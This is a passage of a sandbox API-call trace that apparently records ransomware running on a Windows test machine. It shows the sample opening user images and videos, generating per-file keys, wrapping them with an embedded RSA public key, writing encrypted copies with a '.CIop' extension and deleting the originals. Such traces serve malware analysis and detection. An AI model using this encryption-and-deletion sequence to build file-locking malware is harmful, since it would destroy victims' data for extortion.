-----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0098.614] lstrcpyW (in: lpString1=0x336f368, lpString2="lAHCz7usAd.gif" | out: lpString1="lAHCz7usAd.gif") returned="lAHCz7usAd.gif" [0098.614] lstrcpyW (in: lpString1=0x336f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\" [0098.614] SetErrorMode (uMode=0x1) returned 0x1 [0098.614] wsprintfW (in: param_1=0x336eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\lAHCz7usAd.gif") returned 97 [0098.614] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\lAHCz7usAd.gif", dwFileAttributes=0x20) returned 1 [0098.614] StrStrW (lpFirst="lAHCz7usAd.gif", lpSrch=".CIop") returned 0x0 [0098.614] wsprintfW (in: param_1=0x336e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\lAHCz7usAd.gif.CIop") returned 102 [0098.615] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\lAHCz7usAd.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\qvr-mzonfhsqrr\\q0yprzhhsmv\\72aejtrdw7i\\lahcz7usad.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x53c [0098.615] ReadFile (in: hFile=0x53c, lpBuffer=0x6907a8, nNumberOfBytesToRead=0x68d3, lpNumberOfBytesRead=0x336e5e8, lpOverlapped=0x0 | out: lpBuffer=0x6907a8*, lpNumberOfBytesRead=0x336e5e8*=0x68d3, lpOverlapped=0x0) returned 1 [0098.615] CloseHandle (hObject=0x53c) returned 1 [0098.615] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\lAHCz7usAd.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\qvr-mzonfhsqrr\\q0yprzhhsmv\\72aejtrdw7i\\lahcz7usad.gif")) returned 1 [0098.618] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2eb0000 [0098.618] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2ec0000 [0098.618] SetErrorMode (uMode=0x1) returned 0x1 [0098.618] CryptAcquireContextW (in: phProv=0x336e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x336e5b8*=0x655818) returned 1 [0098.620] CryptGenKey (in: hProv=0x655818, Algid=0x1, dwFlags=0x4000, phKey=0x336e5bc | out: phKey=0x336e5bc*=0x649538) returned 1 [0098.700] CryptExportKey (in: hKey=0x649538, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x336e5ec | out: pbData=0x0*, pdwDataLen=0x336e5ec*=0x94) returned 1 [0098.700] CryptExportKey (in: hKey=0x649538, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2ec0000, pdwDataLen=0x336e5ec | out: pbData=0x2ec0000*, pdwDataLen=0x336e5ec*=0x94) returned 1 [0098.700] CryptDestroyKey (hKey=0x649538) returned 1 [0098.700] CryptReleaseContext (hProv=0x655818, dwFlags=0x0) returned 1 [0098.700] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\lAHCz7usAd.gif.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\qvr-mzonfhsqrr\\q0yprzhhsmv\\72aejtrdw7i\\lahcz7usad.gif.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x53c [0098.701] WriteFile (in: hFile=0x53c, lpBuffer=0x6907a8*, nNumberOfBytesToWrite=0x68d3, lpNumberOfBytesWritten=0x336e5d8, lpOverlapped=0x0 | out: lpBuffer=0x6907a8*, lpNumberOfBytesWritten=0x336e5d8*=0x68d3, lpOverlapped=0x0) returned 1 [0098.702] SetFilePointer (in: hFile=0x53c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x68d3 [0098.702] WriteFile (in: hFile=0x53c, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x336e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x336e5d8*=0x7, lpOverlapped=0x0) returned 1 [0098.702] SetFilePointer (in: hFile=0x53c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x68da [0098.702] SetErrorMode (uMode=0x1) returned 0x1 [0098.702] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0098.702] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x336d5b8, pcbBinary=0x336d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x336d5b8, pcbBinary=0x336d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0098.702] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x336d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x336d5a0, pcbStructInfo=0x336d598 | out: pvStructInfo=0x336d5a0, pcbStructInfo=0x336d598) returned 1 [0098.702] CryptAcquireContextW (in: phProv=0x336d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x336d5a8*=0x655818) returned 1 [0098.702] CryptImportPublicKeyInfoEx (in: hCryptProv=0x655818, dwCertEncodingType=0x1, pInfo=0x649d90, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x336d5b0 | out: phKey=0x336d5b0*=0x6491f8) returned 1 [0098.702] CryptEncrypt (in: hKey=0x6491f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x336d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x336d5b4*=0x80) returned 1 [0098.702] CryptEncrypt (in: hKey=0x6491f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x656098*, pdwDataLen=0x336d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x656098*, pdwDataLen=0x336d5a4*=0x80) returned 1 [0098.702] WriteFile (in: hFile=0x53c, lpBuffer=0x656098*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x336e5d8, lpOverlapped=0x0 | out: lpBuffer=0x656098*, lpNumberOfBytesWritten=0x336e5d8*=0x80, lpOverlapped=0x0) returned 1 [0098.703] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.703] VirtualFree (lpAddress=0x2eb0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0098.703] VirtualFree (lpAddress=0x2ec0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0098.703] CloseHandle (hObject=0x53c) returned 1 [0098.705] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\lAHCz7usAd.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\qvr-mzonfhsqrr\\q0yprzhhsmv\\72aejtrdw7i\\lahcz7usad.gif")) returned 0 Thread: id = 146 os_tid = 0xc80 [0098.706] lstrcpyA (in: lpString1=0x347e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0098.706] lstrcpyW (in: lpString1=0x347f368, lpString2="MsxtzGW tpKDJN.gif" | out: lpString1="MsxtzGW tpKDJN.gif") returned="MsxtzGW tpKDJN.gif" [0098.706] lstrcpyW (in: lpString1=0x347f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\" [0098.706] SetErrorMode (uMode=0x1) returned 0x1 [0098.707] wsprintfW (in: param_1=0x347eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\MsxtzGW tpKDJN.gif") returned 101 [0098.707] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\MsxtzGW tpKDJN.gif", dwFileAttributes=0x20) returned 1 [0098.707] StrStrW (lpFirst="MsxtzGW tpKDJN.gif", lpSrch=".CIop") returned 0x0 [0098.707] wsprintfW (in: param_1=0x347e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\MsxtzGW tpKDJN.gif.CIop") returned 106 [0098.707] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\MsxtzGW tpKDJN.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\qvr-mzonfhsqrr\\q0yprzhhsmv\\72aejtrdw7i\\msxtzgw tpkdjn.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x564 [0098.707] ReadFile (in: hFile=0x564, lpBuffer=0x685cd0, nNumberOfBytesToRead=0x5fab, lpNumberOfBytesRead=0x347e5e8, lpOverlapped=0x0 | out: lpBuffer=0x685cd0*, lpNumberOfBytesRead=0x347e5e8*=0x5fab, lpOverlapped=0x0) returned 1 [0098.708] CloseHandle (hObject=0x564) returned 1 [0098.708] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\MsxtzGW tpKDJN.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\qvr-mzonfhsqrr\\q0yprzhhsmv\\72aejtrdw7i\\msxtzgw tpkdjn.gif")) returned 1 [0098.731] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x3190000 [0098.731] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x31a0000 [0098.732] SetErrorMode (uMode=0x1) returned 0x1 [0098.732] CryptAcquireContextW (in: phProv=0x347e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x347e5b8*=0x6559b0) returned 1 [0098.734] CryptGenKey (in: hProv=0x6559b0, Algid=0x1, dwFlags=0x4000, phKey=0x347e5bc | out: phKey=0x347e5bc*=0x648e78) returned 1 [0098.806] CryptExportKey (in: hKey=0x648e78, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x347e5ec | out: pbData=0x0*, pdwDataLen=0x347e5ec*=0x94) returned 1 [0098.806] CryptExportKey (in: hKey=0x648e78, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x31a0000, pdwDataLen=0x347e5ec | out: pbData=0x31a0000*, pdwDataLen=0x347e5ec*=0x94) returned 1 [0098.806] CryptDestroyKey (hKey=0x648e78) returned 1 [0098.806] CryptReleaseContext (hProv=0x6559b0, dwFlags=0x0) returned 1 [0098.807] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\MsxtzGW tpKDJN.gif.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\qvr-mzonfhsqrr\\q0yprzhhsmv\\72aejtrdw7i\\msxtzgw tpkdjn.gif.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x580 [0098.808] WriteFile (in: hFile=0x580, lpBuffer=0x685cd0*, nNumberOfBytesToWrite=0x5fab, lpNumberOfBytesWritten=0x347e5d8, lpOverlapped=0x0 | out: lpBuffer=0x685cd0*, lpNumberOfBytesWritten=0x347e5d8*=0x5fab, lpOverlapped=0x0) returned 1 [0098.809] SetFilePointer (in: hFile=0x580, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x5fab [0098.809] WriteFile (in: hFile=0x580, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x347e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x347e5d8*=0x7, lpOverlapped=0x0) returned 1 [0098.809] SetFilePointer (in: hFile=0x580, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x5fb2 [0098.809] SetErrorMode (uMode=0x1) returned 0x1 [0098.809] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0098.809] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x347d5b8, pcbBinary=0x347d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x347d5b8, pcbBinary=0x347d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0098.809] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x347d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x347d5a0, pcbStructInfo=0x347d598 | out: pvStructInfo=0x347d5a0, pcbStructInfo=0x347d598) returned 1 [0098.809] CryptAcquireContextW (in: phProv=0x347d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x347d5a8*=0x6559b0) returned 1 [0098.809] CryptImportPublicKeyInfoEx (in: hCryptProv=0x6559b0, dwCertEncodingType=0x1, pInfo=0x649640, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x347d5b0 | out: phKey=0x347d5b0*=0x648978) returned 1 [0098.809] CryptEncrypt (in: hKey=0x648978, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x347d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x347d5b4*=0x80) returned 1 [0098.810] CryptEncrypt (in: hKey=0x648978, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x655ac0*, pdwDataLen=0x347d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x655ac0*, pdwDataLen=0x347d5a4*=0x80) returned 1 [0098.810] WriteFile (in: hFile=0x580, lpBuffer=0x655ac0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x347e5d8, lpOverlapped=0x0 | out: lpBuffer=0x655ac0*, lpNumberOfBytesWritten=0x347e5d8*=0x80, lpOverlapped=0x0) returned 1 [0098.810] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.810] VirtualFree (lpAddress=0x3190000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0098.810] VirtualFree (lpAddress=0x31a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0098.810] CloseHandle (hObject=0x580) returned 1 [0098.811] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\MsxtzGW tpKDJN.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\qvr-mzonfhsqrr\\q0yprzhhsmv\\72aejtrdw7i\\msxtzgw tpkdjn.gif")) returned 0 Thread: id = 147 os_tid = 0x270 [0098.709] lstrcpyA (in: lpString1=0x357e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0098.709] lstrcpyW (in: lpString1=0x357f368, lpString2="Bu5bp9.avi" | out: lpString1="Bu5bp9.avi") returned="Bu5bp9.avi" [0098.709] lstrcpyW (in: lpString1=0x357f768, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" [0098.709] SetErrorMode (uMode=0x1) returned 0x1 [0098.709] wsprintfW (in: param_1=0x357eb68, param_2="%s%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Bu5bp9.avi") returned 40 [0098.709] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Bu5bp9.avi", dwFileAttributes=0x20) returned 1 [0098.709] StrStrW (lpFirst="Bu5bp9.avi", lpSrch=".CIop") returned 0x0 [0098.709] wsprintfW (in: param_1=0x357e758, param_2="%s%s.CIop" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Bu5bp9.avi.CIop") returned 45 [0098.709] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Bu5bp9.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\bu5bp9.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x564 [0098.710] ReadFile (in: hFile=0x564, lpBuffer=0x2ef0048, nNumberOfBytesToRead=0x151f0, lpNumberOfBytesRead=0x357e5e8, lpOverlapped=0x0 | out: lpBuffer=0x2ef0048*, lpNumberOfBytesRead=0x357e5e8*=0x151f0, lpOverlapped=0x0) returned 1 [0098.711] CloseHandle (hObject=0x564) returned 1 [0098.711] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Bu5bp9.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\bu5bp9.avi")) returned 1 [0098.713] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x3170000 [0098.714] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x3180000 [0098.714] SetErrorMode (uMode=0x1) returned 0x1 [0098.714] CryptAcquireContextW (in: phProv=0x357e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x357e5b8*=0x6561a8) returned 1 [0098.717] CryptGenKey (in: hProv=0x6561a8, Algid=0x1, dwFlags=0x4000, phKey=0x357e5bc | out: phKey=0x357e5bc*=0x649538) returned 1 [0098.773] CryptExportKey (in: hKey=0x649538, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x357e5ec | out: pbData=0x0*, pdwDataLen=0x357e5ec*=0x94) returned 1 [0098.773] CryptExportKey (in: hKey=0x649538, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x3180000, pdwDataLen=0x357e5ec | out: pbData=0x3180000*, pdwDataLen=0x357e5ec*=0x94) returned 1 [0098.773] CryptDestroyKey (hKey=0x649538) returned 1 [0098.773] CryptReleaseContext (hProv=0x6561a8, dwFlags=0x0) returned 1 [0098.773] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Bu5bp9.avi.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\bu5bp9.avi.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x568 [0098.774] WriteFile (in: hFile=0x568, lpBuffer=0x2ef0048*, nNumberOfBytesToWrite=0x151f0, lpNumberOfBytesWritten=0x357e5d8, lpOverlapped=0x0 | out: lpBuffer=0x2ef0048*, lpNumberOfBytesWritten=0x357e5d8*=0x151f0, lpOverlapped=0x0) returned 1 [0098.775] SetFilePointer (in: hFile=0x568, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x151f0 [0098.775] WriteFile (in: hFile=0x568, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x357e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x357e5d8*=0x7, lpOverlapped=0x0) returned 1 [0098.775] SetFilePointer (in: hFile=0x568, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x151f7 [0098.775] SetErrorMode (uMode=0x1) returned 0x1 [0098.775] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0098.775] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 